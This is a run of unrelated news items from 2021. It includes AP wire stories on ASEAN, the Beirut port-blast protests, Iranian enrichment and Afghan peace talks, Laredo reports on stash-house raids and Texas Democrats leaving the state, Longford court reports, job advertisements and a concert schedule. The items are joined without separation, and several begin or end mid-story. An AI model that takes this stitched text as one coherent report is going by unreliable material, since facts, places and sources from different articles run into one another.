An international arbitration tribunal, acting on a complaint filed by the Philippines, in 2016 declared most of China's sweeping territorial claims invalid. Beijing has refused to recognize the ruling.

Blinkens meeting with his ASEAN counterparts was to have taken place in May but he was unable to secure an online connection as he took a flight for an emergency trip to Israel. The blocs foreign ministers, who waited for nearly an hour, decided to cancel the meeting. The State Department later apologized.

Founded in 1967 in the Cold War era, ASEAN is a diverse collective of democracies and authoritarian states that has become a battleground for regional influence between the U.S. and China. Its members are Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Vietnam.

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Associated Press journalist Ken Moritsugu in Beijing contributed to this report.
Over a span of five days, Laredo Sector Border Patrol agents along with federal law enforcement partners, Texas Department of Public Safety, the Webb County Sheriffs Office and the Laredo Police Department, discovered five stash houses and apprehended over 100 undocumented individuals throughout Laredo.

The first incident occurred during the mid-afternoon of July 8 when agents from the Laredo North Station received information regarding several undocumented individuals being housed at a local hotel on San Bernardo Avenue. Federal agents apprehended over 25 undocumented individuals from the countries of the Dominican Republic, Guatemala and Mexico.

The second stash house was discovered during the mid-morning of July 9 by agents from the Laredo South Station, along with LPD and DPS, in south Laredo. Forty undocumented individuals including two unaccompanied children from the countries of Guatemala, Mexico and Honduras were apprehended.

The next day, agents from the Laredo North Station and the Sheriffs Office responded to a report of suspicious activity at another hotel on San Bernardo Avenue. Law enforcement officers apprehended 13 individuals, including one unaccompanied child. All were in the country illegally from the countries of Mexico, El Salvador and Honduras.

During the morning of July 11, DPS requested assistance from Laredo North Station agents at a third hotel on San Bernardo Avenue where six undocumented individuals were being harbored. The individuals taken into custody were from the countries of Mexico and El Salvador.

The final stash house was discovered when LPD requested assistance from Laredo South Station agents during the morning of July 12. Nearly 30 undocumented individuals, including two minors, were taken into custody. All were from the country of Mexico.

The apprehended individuals were not wearing personal protective equipment when found. The individuals were provided PPE and were medically screened then processed accordingly.

Stash houses continue to be a threat to national security and a threat to the citizens of our nation, said the USBP in a statement. Criminal organizations continued use of stash houses is also a danger to the people they exploit by concealing them in dilapidated close quarters. Help us and our law enforcement partners take a stand against these criminal organizations and their dangerous acts by reporting suspicious activity in our neighborhoods.

Although the amount of people arrested in these stash houses is high, stash house apprehensions remain only a fraction of the total apprehensions made in Laredo Sector. The overwhelming majority of apprehensions made by Laredo Sector agents are while performing linewatch operations near the border.

To report suspicious activity such as human and/or drug smuggling, download the USBP Laredo Sector App or contact the Laredo Sector Border Patrol toll free at 1-800-343-1994. If you see something, say something.
BEIRUT (AP)  Riot police fired tear gas and scuffled with protesters  mostly family members of victims of the Beirut Port blast  outside the home of Lebanon's caretaker interior minister Tuesday. The demonstrators demanded an end to what they call the obstruction of an investigation into one of the largest non-nuclear explosions in history.

Hundreds of protesters marched outside the home of Mohamed Fehmi in a symbolic funeral procession with empty coffins to symbolize the victims. They then tossed the coffins into the yard of the building and pushed their way through security guards to hold a symbolic burial ceremony.

The Aug. 4 explosion at the port devastated the capital, killed more than 200 people and injured thousands. Hundreds of tons of ammonium nitrate, a highly explosive material used in fertilizers that had been improperly stored in the port for years ignited, causing the explosion. Many blame officials for keeping the explosive material stored at the port.

He killed us another time," said Tracy Naggear, whose 3-year-old daughter was one of the youngest victims of the blast. She was referring to Fehmi's decision to reject a request by the judge investigating the explosion to question one of Lebanon's most senior generals, the head of General Security Maj, Gen. Abbas Ibrahim.

Investigating Judge Tarek Bitar said earlier this month he intends to pursue senior politicians and former and current security chiefs in the case, and requested their immunity be lifted so he can prosecute them.

Families of the victims and survivors praised the judge's move as a bold step. His predecessor leading the probe was removed after he accused two former ministers of negligence that led to the explosion.

Naggear said the symbolic burial outside Fehmi's building was held at the scene of the second crime against the families seeking justice.

The gathering turned rowdy when dozens of protesters stormed Fehmis building, breaking down two metal gates, and scuffled with riot police who beat them with clubs. Police fired tear gas to push back against the protesters. The push set off pitched street battles with stone-throwing protesters. Many were injured and treated on the scene.

The protesters sprayed the word killer in red at the entrance of Fehmi's building as men pelted the building with tomatoes.

Mohamed Fehmi, we will not leave you alone. Lift the immunity, said Ibrahim Hoteit, whose brother Tharwat, was killed in the blast.

Lebanon is also experiencing one of the worst economic crises in the last 150 years, according to the World Bank. Despite the economic meltdown, politicians have been unable to form a government to lead negotiations with the International Monetary Fund for a recovery package.

In a visit to Beirut port Tuesday, a French Cabinet minister criticized Lebanese leaders, warning them of upcoming sanctions from Paris that will target those believed to be blocking the formation of a new government.

Frances Foreign Trade Minister Franck Riester said members of Lebanon's political elite failed to respect their declared commitment to reforms and warned of a first wave of sanctions by France, Lebanon's colonial ruler. He did not say whether the measures will be imposed only by France or perhaps by the European Union as well.

France respects its promises, unlike Lebanese authorities that did not implement reforms, Riester told reporters, standing amid the ruins in the port. Things cannot continue this way.

French President Emmanuel Macron visited Beirut twice since the port blast, pressing Lebanese politicians to implement reforms in order to release international investments and loans worth billions of dollars.

Repeated promises of reforms by Lebanons political elite, which has run the country since the end of the 15-year civil war in 1990, never materialized. The ruling class, including some former warlords, has been blamed for decades of corruption and mismanagement that have brought Lebanon to near-bankruptcy.

Lebanese Prime Minister Hassan Diabs government resigned days after the Beirut Port blast.

After meeting with President Michel Aoun, Riester tweeted that a year after pledging to form a government nothing was done."

This blockage is suicidal, he said.

___

Associated Press writer Bassem Mroue contributed from Beirut.
TEHRAN, Iran (AP)  Iran's outgoing president on Wednesday warned his country could enrich uranium at weapons-grade levels of 90% if it chose, though it still wanted to save its tattered nuclear deal with world powers.

President Hassan Rouhani's comments, carried by the state-run IRNA news agency, came as he also criticized Iran's wider theocracy for not allowing his government to reach a deal soon to restore the 2015 atomic accord.

Rouhani's powers have waned as the public soured on his government amid an economy suffering under U.S. sanctions. But his remarks signal Iran could take a more belligerent approach with the West as hard-line President-elect Ebrahim Raisi is due to take office next month.

Speaking in a Cabinet meeting, Rouhani made the 90% remark, a rare moment for him to suggest Tehran could take that approach.

Even if one day there is a need for 90% enrichment for a reactor, we do not have any problem and we are able, Rouhani said, according to IRNA. "We can do anything in the peaceful path.

The 2015 nuclear deal, which saw Iran gain relief from those crushing sanctions, limited Tehran's program to enriching only up to 3.67%  enough to power a civilian nuclear reactor. It now enriches a small amount of uranium up to 60%, a short step from weapons-grade levels.

Rouhani also complained that hard-liners outside of his relatively moderate government blocked its efforts to reach a deal in Vienna. For months, negotiators have been trying to find a way for Iran to return to the limits of the deal and for the U.S. to rejoin the accord from which then-President Donald Trump earlier unilaterally withdrew.

A new round of Vienna negotiations has yet to be scheduled.

Rouhani said he hoped Raisi's administration "will be able to finish the job.

There is no difference if the current or next administration will be successful, but we are very sorry that nearly six month of opportunity has been lost," he said.
FARGO, N.D. (AP)  A North Dakota man was convicted of murder on Wednesday for killing his mother and a police officer during a shootout as authorities tried to evict the pair from their apartment last year.

Salamah Pendleton, 42, opened fire on Officer Cody Holte and other officers in May 2020 while they were trying to serve papers evicting him and his mother, Lola Moore, from their Grand Forks apartment for what authorities called a lack of rent payment and lease agreement violations. Pendleton shot his mother while firing wildly on the officers after they entered the home and he killed Holte during a second round of gunfire. Pendleton and a sheriff's deputy were wounded in the gun battle.

In addition to the two murder counts, the jury convicted Pendleton of two counts of attempted murder, terrorizing, reckless endangerment and possession with the intent to deliver marijuana. He was found not guilty of one count of attempted murder and criminal mischief.

Grand Forks Police Chief Mark Nelson issued a statement to acknowledge the professionalism, sacrifice, and dedication shown by those involved in the trial.

We accept this verdict as the outcome of our justice system, and will continue to move forward and heal; as individuals, an organization, and a community, Nelson said.

Pendleton faces life in prison without the possibility of parole. A sentencing hearing is scheduled for Oct 15.

Testimony in the livestreamed trial in Grand Forks began on July 2. Jurors started deliberating Tuesday afternoon.

Defense attorney Steven Mottinger told the jury during closing arguments Tuesday that Pendleton had been experiencing extreme emotional disturbance on the day of the killings because the officers came to evict him and his mother despite the stress of COVID-19 which Pendleton said had them in self-quarantine early in the pandemic.

Pendleton also thought the officers had killed his mother, but ballistics tests showed the bullet was from Pendleton's semiautomatic rifle.

Grand Forks County prosecutor Carmell Mattison said Pendleton prepared for the confrontation by stocking up on ammunition and that he fired a minimum of 48 rounds using a high velocity weapon with full metal jacket bullets.

During the first exchange, Pendleton shot 20 rounds blindly through the bedroom wall, not knowing who was on the other side, Mattison said.

The only person who was prepared on May 27, 2020, was the defendant, Mattison said. Pendleton was waiting for law enforcement to open that door so he could pull the trigger, she said.

Pendleton testified Monday that he didnt mean to kill anyone and that his mother was unintentionally struck by a ricocheting bullet from his rifle. He said that after he saw his mothers body lying in a pool of blood, I lost my mind and I didnt know what to do.

Mattison said there is no evidence that officers fired first, as Pendleton insisted. When Nord broke into Pendletons bedroom, it took less than a second before Pendleton fired a bullet that whizzed by his head, according to investigators.

Holte, 29, was the first officer to be killed in Grand Forks since 1966 and the 58th police officer in the state to die while on duty.
KABUL, Afghanistan (AP)  A high-powered Afghan government delegation, which will include the head of the countrys reconciliation council, is to meet the Taliban in Doha to jump-start a long-stalled peace process, an Afghan official said Tuesday.

The Taliban were expected to bring their senior leaders to the table when the two sides meet, possibly on Friday, said the official who spoke on condition of anonymity because they were not authorized to brief reporters. The Taliban maintain a political office in the Qatari capital of Doha.

The renewed push to reach a peace deal comes as the U.S winds down its military presence in Afghanistan. Outgoing U.S. commander Gen. Scott Miller recently warned that increasing violence seriously hurts Afghanistan's chances of finding a peaceful end to decades of war.

At the same time, Taliban fighters have taken control of large swaths of the country. Although the exact number of districts now under Taliban control is not known, it is believed they now rule in more than a third of Afghanistan's 421 districts and district centers.

Several of the districts are strategic, bordering Iran, Uzbekistan and Tajikistan. The surge has also exposed weaknesses in the Afghan National Security and Defense Forces. Many districts fell without a fight and more than 1,000 soldiers fled to Tajikistan. There have been repeated reports of troops not being resupplied or being left without reinforcements. They are often outgunned and outnumbered by their Taliban adversaries.

The Doha talks will be led by senior government official Abdullah Abdullah, who heads Afghanistan's reconciliation council.

Former President Hamid Karzai is also expected to be among the delegates. The negotiations are aimed at ending the violence that has steadily increased since the U.S. signed a deal with the insurgent movement in February last year.

Karzai called on the government not to miss the opportunity and press ahead toward peace.

He also expressed hope that one day Afghanistan would have a woman as president, and urged women to stay in their jobs and continue their education.

This country has everything, youths, educated people," he said. I call on the young generation to not leave your country, stay here. ... You must trust in your country, peace will come.

Thousands of Afghans are trying to leave the country amid growing anxiety about the future.

In a new sign of concern about what lies ahead, France urged its citizens to leave Afghanistan and announced it was arranging a special flight Saturday to evacuate them from Kabul. There was no indication the French Embassy would be closed.

Australia has closed its embassy. While the U.S. has downsized its embassy staff, it says it has no plans to evacuate and announced its visa section had reopened after temporarily closing due to a COVID-19 outbreak.

Also Tuesday, an explosion rocked the capital of Kabul on Tuesday, killing four people and wounding 11 others, according to police spokesman Ferdaws Faramaz.

No one immediately claimed responsibility for the attack. The Taliban and government accuse each other of carrying out attacks in the capital, while the Islamic State group often is the only one to claim an attack.

___

Associated Press writers Rahim Faiez in Kabul and Angela Charlton in Paris contributed to this report.
The quorum in the special legislative session set out by Texas Gov. Greg Abbott was broken when a great majority of legislators left the state as a sign of protest to a bill dubbed as the restrictive voting rights bill.

READ MORE: Texas Democrats who left state are having a weird 'fugitive' moment with Miller Lite and sad salads

A total of 51 of the 67 Democratic members of the Texas House left the state for Washington D.C. on Monday as a form of protest. Within this group of legislators was Rep. Richard Raymond of District 42, which spans part of Webb County.

My entire time in the Texas House of Representatives, I have worked for and fought for the people I represent and the State of Texas, Raymond said. I love Laredo, Texas and the United States. I have fought for many things in order to improve the lives and future of all Texans. But the most important thing is the right to vote, su voto es su voz (your vote is your voice).

According to Raymond, he met with Vice President Kamala Harris on Tuesday to discuss what is going on in Texas and stated how it is a bill that wants to strip away the rights of the people to vote. He states that the vice president and other members of Congress voted their support to their cause.

Raymond states that the current bill being debated is not about voting rights but rather about the idea that former President Donald Trump would restrict who can vote in efforts to gain more support.

I will not stand by as my colleagues  who are no longer in the Republican Party, they are now in the Trump Party  are trying to pass legislation making it harder and harder for Texans to vote, Reymond said. Especially Hispanics, African Americans, senior citizens and the disabled. It will not stand if I have anything to say about it.

A local presence who stayed behind was Rep. Tracy O. King of District 80, which spans part of Webb County as well as Dimmit, Frio, Uvalde, Zapata and Zavala County.

Among the 16 legislators who did not depart, King decided not to skip the legislative session but continued to voice his complete disagreement with HB3.

More Information See More Collapse

While I chose not to travel out of state, I do support my colleagues' decision to represent their districts in the manner they see fit, King said.

According to King, he supports his colleagues because he states HB3 is unnecessary legislation. He says that the Texas Secretary of State deemed the elections held in the state last year as smooth and secure.

On the Texas Senate side, Sen. Judith Zaffirini of District 21  which stretches from the Rio Grande to the Colorado River and to the Port of Corpus Christi and the Valley  also voiced her support for the cause of her Democratic counterparts.

Zaffirini, the first Hispanic woman elected to the Texas Senate, also voted no and spoke firmly about why Senate Bill 1, which is the Senate version of HB3, should not be voted on for implementation.

How can we in good conscience approve legislation when persons of disability tell us it makes it harder for them to vote? she asked. How can we in good conscience approve legislation that persons of color tell us makes them feel unwelcome to participate in our democracy? How can we in good conscience approve legislation that retirees and seniors state creates bureaucratic roadblocks for them to vote?

Zaffirini states that there was no evidence found to indicate that voter fraud was committed in the state, no evidence was shown and no testimony was provided to make this call for the policy. There are some pending voting fraud cases, but she states that they are again minimal.

Staff from the office of the attorney general recently said that they had voting fraud cases pending against 44 persons despite the millions of taxpayer dollars spent for those efforts, Zaffirini said. That may seem like a lot to some, but it is a tiny number considering 11.2 million Texans voted in 2020, and in fact it is equivalent to 0.0004% of those votes.

The state senator also mentioned that Texas offered evidence to indicate that there was no issue of fraud found in overnight voting throughout the state or drive-thru voting. She also says the turnout was safe and secure while being at its highest point since 1992.

Members, if one case of voter fraud is too many, then one vote suppressed by this bill is too many as well, Zaffirini said. For these and many other reasons, vote no on Senate Bill 1.

As the special legislative session by Abbott continues amid the fact many Democrats left the state, King says he plans to work on some of the other bills left to debate on and that he supports. He hopes that it is a productive special legislative session.

We can only consider issues the governor has placed on the call, King said. The issues on the governors call I support are a 13th check for teachers, property tax relief, funding to support law enforcement strategies along our border and funding of Article X for legislative staff.

Raymond had previously said that Abbott might enact several special legislative sessions over time in efforts to call the bill for debate and passage.

The Texas Legislature also approved an order for enforcement authorities to arrest and retrieve all of the lawmakers that left the state in protest to the voting restrictive bill. The governor has pledged that they will be brought to work and also that he might implement several consecutive special legislative sessions to make sure that the bill and other agenda items the governor wants passed to do in the session.

However, authorities do not have jurisdiction outside of the state, thus those that left cannot be arrested unless they return to Texas. And for Laredos local representatives, that means authorities will begin searching for Raymond  visiting his home, office and homes of his friends and family as they search for him within the state lines.

READ MORE: Laredo council approves water bill credit as boil notice remains in effect

I will continue to work each and every day to protect the right of all citizens the right to vote, Raymond said. I will not storm the capitol with weapons and tear gas like the Trump Party supporters who attacked the U.S. Capital and democracy itself on January 6, 2021. I come with ideas, resolve and all the strength God has given me to fight for democracy and for all Americans. With Gods help, we will prevail. We shall overcome.

jorge.vela@lmtonline.com
Laredo Morning Times file

A woman has been arrested for attempting to smuggle a 12-year-old boy via the Interstate 35 checkpoint, according to an arrest affidavit.

A white sport utility vehicle with three occupants arrived at about 7:25 p.m. July 8 at the I-35 checkpoint. Authorities identified the driver as Francisca Lorenzo-Juarez. She presented a valid employee authorization card indicating she is a Mexican citizen legally present in the United States.
The beginning of the school year when you got to show off your new duds, new cars, new looks!

Sports! Playing, cheering, watching high school athletics.

The arts: Dramatic arts, musical groups and shows, graphic arts groups, debate, etc.

The prom! No dancing the night away or punch bowl antics.

The daily interactions. Just being with the group, hanging with friends and classmates.

Access to college recruiters and advisors  its harder to line up higher education.

Walking onstage to get a diploma while all the family is watching with everyone elses family.

Vote

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Logan, WV (25601)

Today

Except for a few afternoon clouds, mainly sunny. High 87F. Winds NE at 5 to 10 mph..

Tonight

Partly cloudy early with increasing clouds overnight. Low near 65F. Winds light and variable.
Barely two thirds of illegal dumping prosecutions taken by Longford County Council are ending in successful convictions.

Around 66 per cent of cases brought before Longford District Court since the start of 2018 have culminated in criminal sanctions being handed down.

During the first six months of this year, just three convictions were recorded for illegal fly-tipping across the county.

The figures are contained in files secured by this newspaper under the Freedom of Information Act covering the period from January 2018 to June 2021.

They show how the number of summonses served on individuals suspected of illegal dumping in Longford have gradually fallen over the past three and a half years.

In 2018, a total of 24 cases were heard at Longford District Court level, a figure which coincided in an 86 success rate with 21 convictions returned as a result.

Just 12 months later, that figure fell dramatically with only 12 of 21 cases heard being awarded in the local authority's favour.

In 2020, seven out of ten cases ended in successful convictions with only three from a total of eight prosecutions recorded this year following suit.

The figures also show how those cases commanded a legal bill of in excess of 14,000.

The Leader can also reveal the council are spending thousands of euro each and every year in cleaning up after tenants.

From January 2018 to June 2021, just under 26,000 was spent on clean-ups/waste removal at local authority houses, the council revealed.

They were statistics Longford County Councillor Turlough 'Pott' McGovern was not overly surprised by.

He explained how environment officials were finding it increasingly difficult to garner enough evidence to bring suspected culprits before the courts.

Illegal dumping is a problem that's countrywide and the fact is people who are engaging in this type of activity are a lot cleverer than they were in previous years, he said.

A lot of the times , there is no receipt or any form of identification that's found which can be used to prosecute these people.

Cllr McGovern said but for the efforts made by local Tidy Towns groups and other bodies like Granard Area Action Group and Lus Na Greine, the task faced by council bosses would be a whole lot worse.

It comes after District Court Judge Seamus Hughes hit out at the apparent upsurge in litter waste issues being encountered by local authority bosses over the past 18 months.

Speaking at a recent sitting of the local District Court, Judge Hughes said illegal dumping had gone to hell in Longford after a number of indivuduals were allegedly caught on CCTV discarding household waste in the greater Edgeworthstown area.
A cunning abuser who plied two young teenage girls with drugs before defiling them at his apartment in a midlands town has appealed against the severity of a lengthy jail term imposed for the offences.

The 31-year-old male was sentenced to 12 years in prison at a sitting of Mullingar Circuit Criminal Court in November 2019 with the final three years suspended.

The appellant, who cannot be identified to protect the identity of his victims, had pleaded guilty to the defilement of a 14-year-old girl under the Criminal Law (Sexual Offences) Act 2006 on dates between September 1, 2018 and November 24, 2018 at his apartment.

He also pleaded guilty to a similar offence involving a 16-year-old girl on dates between May 1, 2017 and July 22, 2017 at the same location.

The man subsequently pleaded guilty to further two counts of meeting a child for the purpose of sexual exploitation in relation to the same two victims.

Evidence in the case heard how the man met his younger victim on a number of occasions when he contacted her via Snapchat and Instagram to persuade her to come to his apartment with the offer of free drugs including cannabis, ecstasy and cocaine before defiling her at some of their meetings.

The older victim indicated she consented to engaging in sexual activity with the appellant.

Counsel for the man, Colman FitzGerald SC, claimed the headline sentence of 14 years fixed by the sentencing judge, Judge Keenan Johnson, was too high.

Mr FitzGerald said his client was not in a position of authority over the girls and he had not engaged in any deliberate isolating behaviour.

He claimed the evidence lacked many of the egregious aggressive factors of other similar cases such as insidiously inveigling his way into a position of trust with his victims.

Opposing the appeal, counsel for the DPP, John Hayden SC, said the headline sentence of 14 years was justified on the established facts of the case which were rightly categorised by Judge Johnson as being in the mid to upper range.

Mr Hayden said there were multiple aggravating factors including the appellants use of drugs.

He said there was evidence that the offender had taken a picture and video of sexual encounters with one of his victims.

Mr Hayden said the man had exercised clear power over his two victims and had acted in a premeditated fashion using social media to contact his victims.

The DPP argued he was fully aware of the girls ages and acted in a cunning, manipulative and grossly offensive manner.

The Court of Appeal with Mr Justice Seamus Woulfe presiding, with Mr Justice Patrick McCarthy and Ms Justice Isobel Kennedy, said it would issue its ruling in the case on Friday.
Three men charged with the theft of over 2,000 worth of alcohol from a Longford supermarket have been warned to return home to Romania and not return to Ireland for five years following last weeks sitting of Longford District Court.

Mihai Apostol (23), Alexandru Facaeru (38) and Andrei Stoica (23), all of 9 Church Avenue, Blanchards- town, Co Dublin, appeared before Judge Seamus Hughes last Tuesday when they entered guilty pleas to the offence of theft of alcohol from a local supermarket.

Mr Facaeru and Mr Apostol were also facing additional theft allegations after being charged by Garda Keith OBrien last week.

It is their intention to leave the country but they havent been able to organise it because theyve been in custody and theres a language barrier, said solicitor, Aileen Mollahan.

I could deal with it by way of a suspended sentence on the condition that they obtain flight tickets within seven days to Romania, commit no further offence within those seven days and dont come back to Ireland for a period of five years, said Judge Hughes before asking to hear the facts.

Giving details of the existing charges, court presenter, Sgt Enda Daly, explained that, on June 22 at 12.55pm, gardai received a call from security at a Longford supermarket, who said three males had attempted to leave the store with a trolley of alcohol and household items valued at 1,300. They were apprehended while leaving the store.

Giving details of further offences which occurred earlier that same day, Gda Keith OBrien told the court, on June 22, Mihai Apostol filled a rucksack with four bottles of grey goose vodka and four bottles of expensive champagne valued at 300, which were not recovered.

He and Alexandru Facaeru returned with an empty bag and took five bottles of brandy, he added.

Was it expensive brandy? asked Judge Hughes.

Well it was Hennessey so not top shelf stuff but youd know about it if you drank it, Gda OBrien replied.

All of that was not recovered. Then they went up and committed the other offence.

Why did they decide to come to Longford, having lived in Blanchardstown, and within one day steal about 2,000 worth of alcohol? asked Judge Hughes.

The three men communicated via a Romanian interpreter who told the court, we are sorry and were going to leave Ireland.

What happened to the vodka and the brandy? Did you sell it? asked Judge Hughes.

We left them somewhere, the interpreter communicated.

If I remand two in custody and release one - they can decide which one - he can go and find it. Do they agree? asked Judge Hughes.

The interpreter discussed this with the three men who replied yes.

So you do know where the alcohol is, said Judge Hughes.

If not, we will pay, the men replied.

Have you money? asked a sceptical Judge Hughes.

Well borrow some money. If you release us we will go home and send money, said the men via their interpreter.

No, said Judge Hughes. Ill release one man and the other two will be remanded in custody. The one can go and get the money - whatever the cost of the missing alcohol is. How much is it?

Gda OBrien explained that the alcohol stolen from Tesco was recovered by security as the men were leaving the store but the vodka, champagne and brandy was not recovered. The stolen items were valued at 645.

As the men discussed the procurement of this figure with their interpreter and solicitor, Judge Hughes said change that 645 to 1,000 - for each of you.

No, they dont have that much, said the interpreter.

If they stay in custody, it costs money. How much will they give me? asked Judge Hughes.

1,000 for the three of them, the interpreter replied.

No, said Judge Hughes, simply.

500 each, said the interpreter.

Okay. Ill give you seven days to get the money, said Judge Hughes. When the interpreter told him they could try to have it sooner than a week later, he added, If he can get to the Western Union by 2pm I can release them today.

The interpreter, however, explained that they would not have the money that day.

Okay. Thursday by video link from Castlerea, said Judge Hughes, Ill give them a suspended sentence on the condition they get a flight within seven days, commit no further offence for seven days and not come back for five years.

Its costing a lot of money. You better have the money on Thursday, he concluded.

Mihai Apostol and Alexandru Facaeru were remanded in custody to July 8, while Andrei Stoica was remanded on bail to get 1,500 cash by July 8.
Longford IFA Chairman, Gavin White and IFA Deputy President, Brian Rushe, met on Thursday evening with Longford farmers affected by the planned re-wetting of BNM bogs in the County.

The farmers raised concerns on a range of issues which they need BNM to address. While the meeting accepted the environmental importance of these valuable Carbon Sinks to the Country and the efforts to maximise their potential by BNM, it also agreed this was not to be achieved at the expense of adjacent landowners.

Some of the issues raised were the management of water levels at outflows, the maintenance of the water channels to the Shannon, maintenance and replacement of boundary fencing and so on.

IFA will continue to engage with BNM. Brian Rushe said "the scale of the project is ambitious and the timelines for implementation are short which limits the opportunities for the farmers to engage with the process fully".

Tha IFA Deputy President added that he welcomed the opportunity to to attend on-site meetings with BNM over the coming weeks, with the view to getting clarity on many issues and work to establish and implement a fair Code of Practice between farmers and BNM.



Longford IFA Chairman, Gavin White added that there "is need for ongoing engagement and that local legacy issues between the farmers and BNM must be addressed as part of this Just Transition."
A social worker does not know why over "a dozen gardai accompanied with sniffer dogs" forcibly entered and searched his home in Dundalk, the High Court has heard.

As a result of being left in the dark over the incident Ryan Moran has brought a High Court action seeking to be provided with the information used by Gardai to procure the warrant, and a copy of the warrant itself, to search his Dundalk home on April 21st last.

He has not been questioned nor charged with any offence by the Gardai, and the court heard that the search, which resulted in his home being damaged, may have been a case of 'mistaken identity.'

Mr Moran claims he has been left distraught over the search, and no longer feels safe in his own home.

He also claims his good reputation has been damaged and a cloud of suspicion has attached to him as a result of the search.

Mr Moran's counsel Mark Murphy Bl instructed by solicitor James MacGuill, told the High Court that his client received a call at 8.45pm on the night in question from a neighbour that Gardai intended to "raid" his home at Inniscrew Mews, Avenue Road, Dundalk Co Louth.

Officers entered his home, and searched the premises for approximately 25 minutes.

Mr Moran was working a night shift at the time, and could not leave his post to return home.

He returned home the following morning when his shift was completed.

On arrival he found the door "off its hinges" open, and his home was "in a complete state of disarray."

He sought information from the Gardai that day as to why his dwelling had been searched, but was not provided with any answers.

He tried to secure the property as best he could, but said that the door frame and lock were badly damaged. He left for work the night, April 22nd.

On his return from work on the morning of the 23rd April he discovered that 5,500 worth of items, including a laptop computer, TV and a guitar were taken from his property.

He reported the theft of these items to the Gardai.

In the following days and weeks, he made several more requests for a copy of the warrant and the information that grounded the decision to search his home from the Gardai.

He has not been provided with any of the material sought, which he says he is legally entitled to.

The court heard Mr Moran did get a phone call from a garda who allegedly initiated the search, telling him that the search was legitimate, and that the gardai are not obliged to hand over the information sought.

The Garda also told Mr Moran that he had spoken to his (Morans) solicitor and conveyed the relevant information to him.

Mr Moran's solicitors have not received any communication from the Garda about the search.

Counsel said that after several months his client still does not know why gardai entered his home, and believes that it may be a case of mistaken identity.

Civil proceedings may be taken by Mr Moran as a result of what happened, counsel said.

Counsel said that following the search has not been charged or questioned by Gardai.

Had that been the case, counsel said, then Mr Moran would be entitled to a copy of the warrant, counsel said.

In judicial review proceedings against the Garda Commissioner, Ireland and the Attorney General Mr Moran seeks an order that he be provided with a copy of the warrant and the information relied upon to search his home.

He also seeks various declarations including that the refusal to provide him with this material amounts to breach of his Constitutional and ECHR rights, including his rights to fair procedures, his reputation, the inviolability of his home and access to justice.

He further seeks damages for the breach of his rights.

The case came before Mr Justice Charles Meenan, who on an ex-parte basis, granted Mr Moran permission to bring his challenge.

The judge made the matter returnable to a date in November.
Masonite is one of the worlds leading manufacturers of interior doors and entry door systems. Throughout the company's 80-year history, Masonite has maintained its focus on leading-edge innovation, manufacturing excellence and superior customer service.

Masonite is committed to delivering product and service innovations that will enhance beauty, functionality and architectural design to its customers around the world. Builders, remodelers, architects and homeowners rely on Masonite products to create homes of distinction.

Masonite are currently recruiting for the following vacancies;

Production Planner (Full time Permanent position)

The position will be responsible for producing the daily production schedule and managing the daily die (or door skin mould) changes necessary to ensure that orders are met, and product inventory is managed. The position is a primary link between customer service (who manage customer orders), manufacturing and shipping.



Responsibilities include; detailed analysis of inventory both current & target and customer orders current and future. Factoring into the production schedule critical inputs including inventory levels and targets, customer orders and customer lead times. Determining die (or door skin mould) changes based on orders, die (mould) availability & mating and what the target inventory is.



Qualification, skills and experience; third level qualification Level 7 in business related discipline, minimum of 2 years experience as a Production Planner in a high-volume Manufacturing environment. Strong analytical, interpersonal and communication skills, advanced excel skills essential and working knowledge of power bi also a requirement. Experience of using planning/scheduling packages an advantage. The successful candidate will be a self-driver and problem-solver.

Applications to; recruitment@masonite.com by 27.07.21.



****************************



HR and Payroll Specialist (Full time Fixed term position - Maternity leave cover)

The position will be responsible for supporting the HR function primarily, with support to Finance.



Responsibilities include: Bi-monthly payroll processing for 150 employees, weekly timesheet preparation , preparation of monthly payroll reports to HR/ Finance teams, Budget preparation, co-ordination of recruitment, induction, training / development activities, benefits administration, providing support to employees for all HR/payroll queries.



Qualifications, Skills & Experience; Qualified or part qualified payroll technician (IPASS desirable), HR Qualification, minimum of 1-year experience working in payroll, experience in HR desirable, strong administration, communication and analytical skills, proficient in MS office, advanced excel skills essential



Applications to; recruitment@masonite.com by 27.07.21.

*******************

Masonite Ireland currently require General Operatives and a Housekeeper as follows;



Masonite Ireland is also partnering with Collins McNicholas Recruitment Group in hiring temporary General operatives and a temporary Housekeeper.

If you are interested in these roles at Masonite Ireland then contact Emma Cawley at Collins Mc Nicholas, Millbrook House, John F Kennedy Parade, Sligo



Email: emma.cawley@collinsmcnicholas.ie Phone: 071 9140258.
Music, Movies & Entertainment

By Ls Cohen Published: July 14 2021

Live musical performances held weekends at Long Beach and Hoyt Farm.

Smithotwn has kicked off its summer concert series with a slate of live music performances at Long Beach and Hoyt Farm.

On Friday nights, residents can enjoy live music at Long Beach in Nissequogue beginning at 7pm. On Sundays, residents can head over to Hoyt Farm in Commack for another evening of music starting at 7pm. The Summer concert series features a vast selection of musical genres from doo wop and classic rock, to billboard hits from some of the best tribute bands on the Island.

The Town sponsored concerts are free for Smithtown Residents. A Town parking sticker or proof of residency is required upon entering Long Beach and Hoyt Farm.

Long Beach: Fridays at 7pm. RAIN DATE (Long Beach): Friday, July 30

Friday, June 25 - Cold Spring Harbor Band (Billy Joel Tribute)

Friday, July 2 - Ed Travers Band (Jimmy Buffet Tribute)

Friday, July 9 - Guilty Pleasures (80's Band)

Friday, July 16 - Endless Summer (Beach Boys Tribute)

Friday, July 23 - The Dedications (50's, 60's)

Friday, August 6 - Let It Bleed (Rolling Stones Tribute)

Friday, August 13 - Drop the 4 (Funk, R & B)

Friday, August 20 - Naked Truth

Friday, September 3- Allmost Brothers (Allman Brothers Tribute)

Hoyt Farm: Sundays at 7pm (Kids Day: July 18 from 3pm-7pm). Hoyt Concert Raindates: September 5 & 12.

Sunday, June 27 - Southbound (Country Night)

Sunday, July 11 - Brothers & Friends (Marshall Tucker Tribute)

Sunday, July 18 - Kids Day (3:00-7:00PM) *Raindate- Sunday, August 29

Sunday, July 25 - The Dedications (50's/60's)

Sunday, August 1 - Radio Flashback (70's/80's)

Sunday, August 8 - Kerry Kearney Band (Blues)

Sunday, August 15 - Foreign Journey (featuring C. Maroulis)

Sunday, August 22 - That 70's Band (70's)

Concerts are open to Smithtown residents on a first-come, first-served basis. If either venue reaches capacity, an alert will go out on the official Town of Smithtown Mobile App. (Residents are encouraged to download the app which is free on Google Play and the Apple App Store.) Smithtown residency is verified upon admission to the town parks.
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(Alliance News) - African miner Central Copper Resources Ltd on Wednesday unveiled plans to list on London's AIM junior market.

The London-headquartered company is focused on copper production and exploration in the Democratic Republic of the Congo and Zambia in Central Africa.

